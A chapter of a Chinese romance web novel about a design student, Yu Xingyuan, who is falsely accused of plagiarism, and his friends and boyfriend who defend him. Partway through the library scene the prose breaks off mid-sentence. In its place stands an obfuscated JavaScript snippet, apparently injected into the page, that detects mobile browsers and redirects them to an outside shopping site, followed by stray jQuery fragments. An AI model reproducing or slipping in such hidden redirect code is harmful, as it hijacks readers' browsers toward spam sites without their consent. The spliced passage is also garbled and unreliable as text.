“观澜哥对我们这些小辈从来不动手。”祁野像是想起了什么,表情变得有些微妙,喉结不自觉地滚动了一下,“但他往那儿一坐,目光沉沉地看着你……”
叶观澜确实从不动手,这是四九城里他们这个圈子都知道的规矩。不过要是谁家小辈犯了浑,有长辈求到他跟前,他也真会“请”你过去坐坐。
他就那么靠在沙发上,也不说话,下巴轻轻一扬,让你自己说。偶尔从鼻子里哼出一声“嗯”,算是告诉你他还在听。
那气氛,比挨一顿揍还让人腿软,再混不吝的主儿,到了他跟前也不敢撒野。
而杨晟不一样。
他面上总是带笑,可要是有谁不懂规矩,触了这个圈子的霉头,他才不管你是哪个部长、哪个司长的公子。
但凡是想跟着叶观澜讨生活的,都得守他的规矩。
要是不守规矩?
祁野扯了扯嘴角,感觉脊梁骨凉嗖嗖的,还很疼。
杨晟会把你“请”到健身房,或者澜晟集团某个不起眼的小房间里。甭管你骨头多硬,最后都得被人抬着出来。
“香港人嘛,”祁野咂了下嘴,“看着客气周到,实则骨子里都带着股傲劲。晟哥更是这样,笑着能跟你喝早茶,转头就能让你吃不了兜着走。”
于星垣看着他微妙的神色,试探着问:“他……真打过你?”
祁野没直接应,只是扯了扯嘴角:“没少挨训。那会儿不懂事,我们这一片的,哪个没被他拎去当过沙包。”
于星垣觉得挺新鲜。
虽然他哥从没明说过杨晟和叶观澜是一对,但确实提过这位是个狠角色,办正事从不含糊。
如今杨晟身兼中国文联香港分会副主席和粤港澳大湾区文化联盟执行理事,硬是带着香港影视业在寒冬里杀出一条路。
这样的人能镇住祁野,于星垣觉得并不奇怪。
因为本质他们都是同类人,只服有本事的。
祁野抬手揉了揉他的头发:“行了,你眯会儿缓缓神,我得出门办点事。”
“嗯。”于星垣应着,却勾住祁野的脖子,仰头讨了一个又轻又软的吻,这才心满意足地松开手放人离开。
祁野前脚刚走,于星垣后脚就摸出手机,点开何化的聊天框,指尖在屏幕上悬停了一会儿,心里头滚烫,跟揣了个暖炉似的。
暑假那会儿,何化就为了他跟文启昭那帮人干架,今天又为了他跟陈澈呛起来,这份情谊,他总觉得说点儿什么才踏实。
他跟何化是打小一块儿疯跑长大的交情,虽说自己四年级就去了美国读书,只有逢年过节才回来那么几天,可这情分从来没淡过。
小时候于星垣性子软和,不像何化那么虎实,没少被调皮孩子逗弄,何化就总是像只护崽的小豹子似的挡在他前头,替他出头,为他打架,挂彩了还冲他龇牙乐。
他想了想,慢慢敲下一行字:【今天……谢了。又让你为我跟陈澈吵了】
那边几乎秒回,何化的语气还是那股熟悉的冲劲儿:【谢屁!我看不惯他那样儿,甭理他,他就那狗脾气】
于星垣看着屏幕,嘴角弯了弯,能想象出何化此刻梗着脖子,一脸不忿的模样。
他继续打字:【我知道你是为我好。但真别因为我伤了你们和气,不值当】
何化:【屁的和气!老子就事论事!他陈澈爱怎么想怎么想】
于星垣忍不住笑了,何化这炮仗脾气,真是十年如一日的一点就着。他正想着怎么回,那边又蹦过来一条长点的语音。
点开一听,何化的声音稍微低了点,语气也认真了些:“星垣,我不是针对陈澈那小子。我就是……就是看不得你受委屈。暑假那回是,这回也是。我知道你心思重,什么事都爱自己憋着琢磨,我看着就来气!有事你得说啊,哥们儿不就在这儿呢么?”
语音末尾,他声音又扬了起来,恢复了那股混不吝的调调:“行了别瞎琢磨了,赶紧睡你的觉!祁野呢?是不是又溜了?让他赶紧回来伺候着!”
于星垣听着语音,心里那点感动劲儿又涌了上来,还夹杂着点儿酸涩。
他吸了吸鼻子,回复道:【知道了。你也别气了,早点休息】
放下手机,于星垣躺回床上,却毫无睡意。
他看着天花板,脑海里闪过小时候何化为他打架挂彩后还龇牙咧嘴冲他笑的模样,又闪过刚才何化梗着脖子维护他的样子。
眼尾不知不觉间红了,时光好像变了,又好像什么都没变。
总有人在用不同的方式,笨拙又坚定地护着他。
这头祁野也给何化发信息了,相对于于星垣的感性,他就直接多了。
祁野:【不是文启昭,甭置气,陈澈那小子就那脾气,家里惯坏了】
何化:【哼,懒得跟他一般见识】
祁野:【谢了兄弟,我知道你是维护星星】
何化:【打住,星垣我俩光屁股长大的,你代替不了他】
何化:【我知道你私下找过文启昭,但星垣是做设计的,你让他背着一个抄袭的名声以后怎么继续走?】
何化:【别让他受委屈,祁野】
祁野看着信息,打字:【好】
何化那头没再回信儿。
外头不少人觉着于星垣这人性子面,处事不够利落,遇事总往后缩。
但何化比谁都清楚,他不是没争过、没吵过,甚至也跟人动过手……可到头来,错处却总落在他身上,反被扣上个“仗势欺人”、“他家有钱”等等各种帽子。
他不是怂,是心里那杆秤跟别人不一样。
就说在美国那些年,每年他生日,甭管时差不对付还是邮路多麻烦,一准儿能收到他寄来的越洋包裹,就没一年落下过。
有时候他随口提一句哪个游戏机难搞,或者看上哪双球鞋国内还没发售,没过多久,这东西就能悄没声儿地出现在他家门口。
他从来不多说什么,不邀功也不炫耀,就默默地。你以为他不在乎?其实他什么都记得,什么都放在心上。
学校里有人背后使绊子,说坏话,他不是不愿意计较,是觉得有些事儿,不值当。
在他眼里,情分比道理重要,人比事儿重要。那些争强好胜、针尖对麦芒的较劲,在他看来,远不如身边人实实在在的好来得重要。
他比谁都清楚,什么才是真正值得在乎的东西。
……
午后的阳光透过图书馆高大的玻璃窗,在地上投下长长亮晃晃的光斑,空气里浮动着细小的尘埃。
于星垣缩在靠窗的角落,面前摊着专业书和数位板,可屏幕上的设计线条
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159721|196588||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
半天没动过。他眉眼低垂,一层挥之不去的疲惫罩在那儿,尽管腰杆还挺得笔直,但那股压抑劲藏不住。
设计稿被人冤枉抄了的事儿,像根细刺扎在他心口,不致命,但膈应人。
周围时不时扫过来的眼神,压低了嗓门的嘀咕,都让这一片空气变得黏糊糊的,叫人喘不过气。
他甚至能清清楚楚听见不远处两个女生的闲聊:
“……真的假的?看不出来呀……”
“知人知面不知心呗,反正人家有背景,估计最后也没事儿……”
于星垣手指头微微攥紧。他深吸一口气,正打算合上电脑走人,忽然一只骨节分明的手“啪”地一下按在了他的电脑盖上。
他抬头,撞上一双漆黑又锋利的眼睛。
祁野不知道什么时候站桌边了,人高马大地挡了一片光,风尘仆仆的,额角还带着点汗痕,像是刚从哪儿急匆匆赶过来。
脸上没什么表情,可下颌线绷得紧,那股平时吊儿郎当的张扬没了,换上了罕见的严肃。
“还不走?”祁野声音不高,却透着一股不容商量的话茬儿。
于星垣怔了怔,四周的目光“唰”地一下全聚了过来,明里暗里闪着看热闹的兴奋。
“这就回。”他低声应道。
祁野就杵旁边等着。
于星垣迅速收拾好东西,俩人一前一后走出图书馆沉默的回廊,一直走到外边一条没什么人经过的林荫路底下。
深秋的风温吞吞吹过来,树枝沙沙响。
“何化没跟你吱声?”祁野突然开口。
于星垣脚步一顿:“什么?”
祁野转回身,从裤兜里掏出手机,划拉几下调出几张截图和一段模糊的监控录像,直接屏怼到于星垣眼前。
“计算机系有个叫王瑞的。”祁野示意他看,“技术不怎么样,手脚也不干净。这是通过一个匿名代理IP试图访问你云端历史记录的操作日志,时间就在你草图完成后的第二天。虽然隐藏了来源,但追踪下去,跳板最后指向他常去的校外网吧。”
他又往右划了一张:“这是网吧外边监控拍的,糊是糊了点儿,但这外套这包,跟他那天穿的一样。时间也对得上。”
“另外,这人是王雯男朋友。”祁野压低了声,“何化打听过了,这人以前就有过类似的事儿,只不过没实锤,最后都不了了之。”
“这小子在外面不知道干了什么,欠了钱,估计是想拿捏你谈判,讹点钱去还账。”
于星垣抬起眼看向祁野:“你怎么查到的?这些……”
“别问。”祁野打断他,利索地把手机收回去,语气淡得很,“反正不是啥好学生该碰的路子。你就说,这些东西,够用不够用?”
于星垣抿了抿唇,没立刻吱声。他当然清楚祁野有他自己那些门路和法子,眼前这些铁证,显然不是走正经流程能搞到手的。
他点了点头:“够了。”
祁野顺手把他书包拎自己手里,挑眉问:“打算怎么弄?是把这堆东西直接甩论坛上让他们社会性死亡,还是打包塞教务处邮箱?老子保证让他们立马闭嘴。”
他说的是最直接,最解气的报复方式。按祁野一贯的作风,就该这么以牙还牙,让对方彻底翻不了身。
于星垣却沉默了。